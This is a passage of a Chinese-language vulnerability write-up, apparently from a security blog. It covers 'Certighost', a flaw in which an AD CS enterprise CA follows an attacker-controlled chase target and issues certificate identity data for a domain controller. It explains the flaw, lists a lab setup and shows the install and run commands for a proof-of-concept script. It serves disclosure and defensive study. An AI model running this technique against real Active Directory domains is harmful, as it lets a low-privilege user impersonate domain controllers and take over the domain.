400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="max-width:100%;display:none;" data-remoteid="" data-asynid="" src="https://private-user-images.githubusercontent.com/51261763/626059943-ed9cb3df-f764-45f6-9339-cae01dd15473.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODQ4ODkwODQsIm5iZiI6MTc4NDg4ODc4NCwicGF0aCI6Ii81MTI2MTc2My82MjYwNTk5NDMtZWQ5Y2IzZGYtZjc2NC00NWY2LTkzMzktY2FlMDFkZDE1NDczLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA3MjQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNzI0VDEwMjYyNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTlmYzQ3NjIxZmM1YmFjNTk0ODRhOTZmMTY5NjU2NTBhMWY4OTMyZjA1ZDNjY2VkYTIwMWI2YjEzYTZiNTRiMTUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.fhTumZsYb5vbcRIW9hxdMHtcqvmdspfKALrbVjQIypE" data-src="" align="" alt="Wireshark 抓包显示 CA chase 流量指向攻击者控制的 cdc IP" border="" class="rich_pages wxw-img js_nocatch" data-ratio="" data-s="" data-type="" data-w="" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="" data-ignore-width="" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5946215139442231" data-s="300,640" data-type="png" data-w="1004" type="block" data-imgfileid="100012963" src="https://wechat2rss.xlab.app/img-proxy/?k=8bca5c32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShewumE1eZE8lAbQhbic64xkqHaECuGCiaPAsAtsxg6DLn7kzzLlH1ibCS6zd0YcaNFQPSL8X9hXLc9rbJQCKH8s3UjBTs3OnibU6U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5946215139442231" data-s="300,640" data-type="png" data-w="1004" type="block" data-imgfileid="100012971" src="https://wechat2rss.xlab.app/img-proxy/?k=e550717f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShFYTKcO1Tw9MFw8JETmiazrkNwEfJzU5yHM8t2Bs1d0zqgicFNiclPTWicxO7icIRGtI8UUua9aOCyk9th0Y45dczIUX2pS8EchlAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">Wireshark 抓包显示 CA 跟随请求者控制的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">目标，通过 SMB/LSA 和 LDAP 连接到攻击者主机。</span></em></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">漏洞：Certighost</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CA 接受了请求者提供的 chase 目标，而未先证明该目标确实是其声称的域控制器。这使得攻击者可以在自己控制的主机上运行 LDAP 和 LSA 服务，将 CA 引导到该主机，并返回针对所选目标主体的目录数据。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在存在漏洞的流程中，攻击者在证书请求中提供 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rmd</span></code><span leaf="">。CA 向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">中的地址发起 SMB 和 LDAP 连接，对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rmd</span></code><span leaf="">中的主体执行 chase 查询，并使用返回的身份数据构建证书。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">问题不仅在于出站连接。CA 将该主机的响应当作请求的目录数据使用。在测试链中，攻击者可以返回域控制器的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">objectSid</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dNSHostName</span></code><span leaf="">。这些值影响了 CA 签发的证书身份数据，包括身份验证期间使用的强映射 SID 和 DNS 身份字段。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过默认 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ms-DS-MachineAccountQuota</span></code><span leaf="">设置创建的计算机账户是有效的域主体。这使得攻击者控制的 chase 端点能够满足 CA 继续处理所需的身份验证检查，即使它并非被冒充的域控制器。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="max-width:100%;display:none;" data-remoteid="" data-asynid="" src="https://private-user-images.githubusercontent.com/51261763/626061102-5c29cb03-1b64-4f3a-aebb-24e58c6a5080.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODQ4ODkwODQsIm5iZiI6MTc4NDg4ODc4NCwicGF0aCI6Ii81MTI2MTc2My82MjYwNjExMDItNWMyOWNiMDMtMWI2NC00ZjNhLWFlYmItMjRlNThjNmE1MDgwLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA3MjQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNzI0VDEwMjYyNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTVlM2U4ZWRmZGQzMzg0MDcwY2M4MjEzNmRlNzBjZjMyYmMyMzE3NWYyM2U1MDhkM2FlYjE4MjQ2MDQ1NGRhMjAmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.E50MGB0r3rfuDdonCAc7k8IN22tmMICePP2SGA6JLEc" data-src="" align="" alt="存在漏洞的 chase 流程" border="" class="rich_pages wxw-img js_nocatch" data-ratio="" data-s="" data-type="" data-w="" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="" data-ignore-width="" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7959183673469388" data-s="300,640" data-type="png" data-w="1029" type="block" data-imgfileid="100012965" src="https://wechat2rss.xlab.app/img-proxy/?k=2770c566&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjZBP8KiaFkjwtuqHOuI7SoCqYp2MicRdU6pHCjtAqLoaAdYTCgcmjH0U3CPZmw1ic238lwNtFKCa96T26iaOKjEXnk1OjVRibrp178%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012966" data-ratio="0.8046296296296296" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=efa734f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjBqEfhj7RcWGfdBLOODIsp2p5tSZNNz1WaDiatIWDrnk0Y4O3lxwAibvb3fRoJ2HicSUS4WpyJABY9El1iaibxkxicgIf0nQzEFw4J8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="max-width: 100%;" data-remoteid="" data-asynid="" src="https://private-user-images.githubusercontent.com/51261763/626061102-5c29cb03-1b64-4f3a-aebb-24e58c6a5080.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODQ4ODkwODQsIm5iZiI6MTc4NDg4ODc4NCwicGF0aCI6Ii81MTI2MTc2My82MjYwNjExMDItNWMyOWNiMDMtMWI2NC00ZjNhLWFlYmItMjRlNThjNmE1MDgwLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA3MjQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNzI0VDEwMjYyNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTVlM2U4ZWRmZGQzMzg0MDcwY2M4MjEzNmRlNzBjZjMyYmMyMzE3NWYyM2U1MDhkM2FlYjE4MjQ2MDQ1NGRhMjAmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.E50MGB0r3rfuDdonCAc7k8IN22tmMICePP2SGA6JLEc" data-src="" align="" alt="存在漏洞的 chase 流程" border="" class="rich_pages wxw-img" data-ratio="" data-s="" data-type="" data-w="" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="" data-ignore-width=""><em><span leaf="">存在漏洞的 chase 流程：CA 跟随请求者控制的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">，接受攻击者提供的目录数据，并签发目标 DC 的证书身份数据。</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图示展示了存在漏洞的 chase 中涉及的三方：攻击者准备有效的计算机账户和流氓服务，CA 跟随请求者控制的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">目标并信任返回的身份数据，随后域控制器通过基于证书的身份验证和复制访问被冒充。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">概念验证演练</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">实验环境</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们的测试环境包含：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Windows Server 2016 或更高功能级别的 AD 林</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">域控制器：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WDC01.abc.local</span></code><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">192.168.8.128</span></code><span leaf="">）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">企业 CA：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WCA01.abc.local</span></code><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">192.168.8.129</span></code><span leaf="">）上的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">abc-WCA01-CA</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">默认的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ms-DS-MachineAccountQuota</span></code><span leaf="">值为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">10</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">默认的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Machine</span></code><span leaf="">证书模板及其默认访问控制列表</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">攻击者主机位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">192.168.8.134</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">一个低权限 Domain Users 账户：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">normaluser</span></code></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">步骤 1：安装依赖</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">概念验证是一个自包含的 Python 脚本。它需要 impacket、cryptography、pyasn1、asn1crypto 和 dnspython。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo pip install --break-system-packages git+<a href="https://github.com/fortra/impacket.git" target="_blank">https://github.com/fortra/impacket.git</a> cryptography pyasn1 asn1crypto pycryptodome dnspython</span></code></pre><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">步骤 2：运行概念验证并观察结果</span></strong></h3><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo python3 certighost.py \</span><span leaf=""><br/></span><span leaf="">  -d abc.local \</span><span leaf=""><br/></span><span leaf="">  -u normaluser -p &#39;[PASSWORD]&#39; \</span><span leaf=""><br/></span><span leaf="">  --dc-ip 192.168.8.128</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">脚本会发现 CA 和目标域控制器，创建计算机账户，启动本地 LDAP 和 LSA 服务，提交精心构造的注册请求，并产生如下终端输出。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3296296296296296" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100012967" src="https://wechat2rss.xlab.app/img-proxy/?k=cf8e317d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgTvXejWhRib3Iic2AwA6ZiagIJmqlmzTiaJAb1DputnTlFnmiboGlCzBdCZWlZj0HTnsJZpVibuLibwibD0B9ribkmpUfibyaztP7Cia5ibdI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">成功运行 Certighost 的终端输出</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 